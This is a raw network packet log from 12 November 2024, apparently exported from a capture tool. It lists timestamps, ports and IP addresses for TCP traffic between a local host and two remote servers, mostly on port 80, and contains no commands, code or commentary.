Nov 12, 2024 08:30:10.274868011 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:10.277940989 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:10.282680988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:10.560594082 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:10.560666084 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:10.576040983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:10.576095104 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:10.580902100 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:10.580918074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:10.580928087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:10.580940962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:10.581048965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:10.581059933 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:10.942305088 CET	49675	443	192.168.2.5	23.1.237.91
Nov 12, 2024 08:30:10.973530054 CET	49674	443	192.168.2.5	23.1.237.91
Nov 12, 2024 08:30:11.114142895 CET	49673	443	192.168.2.5	23.1.237.91
Nov 12, 2024 08:30:11.375933886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:11.376033068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:11.645955086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:11.694531918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:11.971115112 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:11.971216917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:11.971227884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:11.971335888 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:11.971733093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:11.971746922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:11.971795082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:11.972256899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:11.972269058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:11.972299099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:11.972702026 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:11.972716093 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:11.972748995 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:11.973386049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:11.973398924 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:11.973438978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:11.974045038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:11.974096060 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.127034903 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.127192020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.127201080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.127227068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.127253056 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.127562046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.127573013 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.127623081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.127986908 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.128004074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.128036976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.128057003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.128571033 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.128582954 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.128624916 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.129039049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.129050970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.129092932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.129630089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.129642010 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.129684925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.130259037 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.130311966 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.245898962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.245951891 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.246048927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.246088982 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.246119976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.246157885 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.246998072 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.247009039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.247044086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.247055054 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.247530937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.247541904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.247551918 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.247572899 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.247595072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.247616053 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.247627020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.247653961 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.247679949 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.248327971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.248339891 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.248374939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.248384953 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.248709917 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.248720884 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.248758078 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.293086052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.293159008 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.293507099 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.293557882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.364875078 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.364968061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.364999056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.365046978 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.365080118 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.365122080 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.365406036 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.365417004 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.365453959 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.366097927 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.366110086 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.366149902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.367176056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.367185116 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.367196083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.367224932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.367233992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.367819071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.367830038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.367866039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.368464947 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.368475914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.368515015 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.368901014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.368961096 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.411878109 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.411951065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.411994934 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.412038088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.483712912 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.483824968 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.483863115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.483906984 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.483906984 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.483947039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.484833956 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.484849930 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.484882116 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.484895945 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.484929085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.484941006 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.484967947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.484982967 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.485420942 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.485430002 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.485466003 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.485766888 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.485779047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.485809088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.486432076 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.486447096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.486479998 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.486501932 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.487090111 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.487106085 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.487142086 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.530774117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.530849934 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.530883074 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.530925035 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.602647066 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.602726936 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.602765083 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.602803946 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.602838039 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.602880001 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.603176117 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.603188038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.603216887 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.603228092 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.603837967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.603851080 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.603878021 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.603890896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.604319096 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.604331017 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.604355097 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.604368925 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.604903936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.604948997 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.605079889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.605092049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.605129957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.605766058 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.605782032 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.605808973 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.605832100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.606177092 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.606189966 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.606218100 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.606232882 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.649687052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.649755955 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.649804115 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.649852037 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.723373890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.723519087 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.723531008 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.723659039 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.724298000 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.724311113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.724493027 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.724730015 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.724741936 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.724772930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.724802017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.725483894 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.725496054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.725527048 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.725537062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.726111889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.726124048 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.726500988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.726816893 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.726833105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.726861954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.726886988 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.768610001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.768661976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.768675089 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.768855095 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.840982914 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.841041088 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.841130972 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.841145992 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.841171026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.841187954 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.841531038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.841542959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.841568947 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.841583014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.842139959 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.842152119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.842180014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.842196941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.842816114 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.842825890 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.842853069 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.842875957 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.843141079 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.843152046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.843183041 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.843209028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.843843937 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.843857050 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.843883991 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.843893051 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.844482899 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.844527006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.865992069 CET	443	49703	23.1.237.91	192.168.2.5
Nov 12, 2024 08:30:12.866079092 CET	49703	443	192.168.2.5	23.1.237.91
Nov 12, 2024 08:30:12.887415886 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.887466908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.887582064 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.887592077 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.887618065 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.887630939 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.959695101 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.959748983 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.959887981 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.959899902 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.959932089 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.960489988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.960526943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.960638046 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.960676908 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.961050034 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.961060047 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.961113930 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.961147070 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.961639881 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.961652040 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.961666107 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.961675882 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.961682081 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.961695910 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.961718082 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.962148905 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.962160110 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.962191105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.962203026 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.962835073 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.962846994 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.962869883 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.962888002 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:12.963454962 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:12.963494062 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.006242990 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.006383896 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.006418943 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.006431103 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.006458044 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.006484032 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.006850958 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.006860971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.006889105 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.078634977 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.078691006 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.078732967 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.078772068 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.078804970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.078840017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.079144001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.079155922 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.079185009 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.079201937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.079813957 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.079854012 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.079898119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.079936028 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.080250025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.080260038 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.080270052 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.080290079 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.080306053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.080924988 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.080939054 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.080965042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.080995083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.081602097 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.081614971 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.081630945 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.081641912 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.081654072 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.081675053 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.082314014 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.082326889 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.082355976 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.082366943 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.125045061 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.125128984 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.125159025 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.125209093 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.125262976 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.125307083 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.125579119 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.125591993 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.125629902 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.197366953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.197448969 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.197500944 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.197544098 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.197577953 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.197622061 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.197911024 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.197921991 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.197966099 CET	49704	80	192.168.2.5	185.215.113.206
Nov 12, 2024 08:30:13.198371887 CET	80	49704	185.215.113.206	192.168.2.5
Nov 12, 2024 08:30:13.198384047 CET	80	49704	185.215.113.206	192.168.2.5
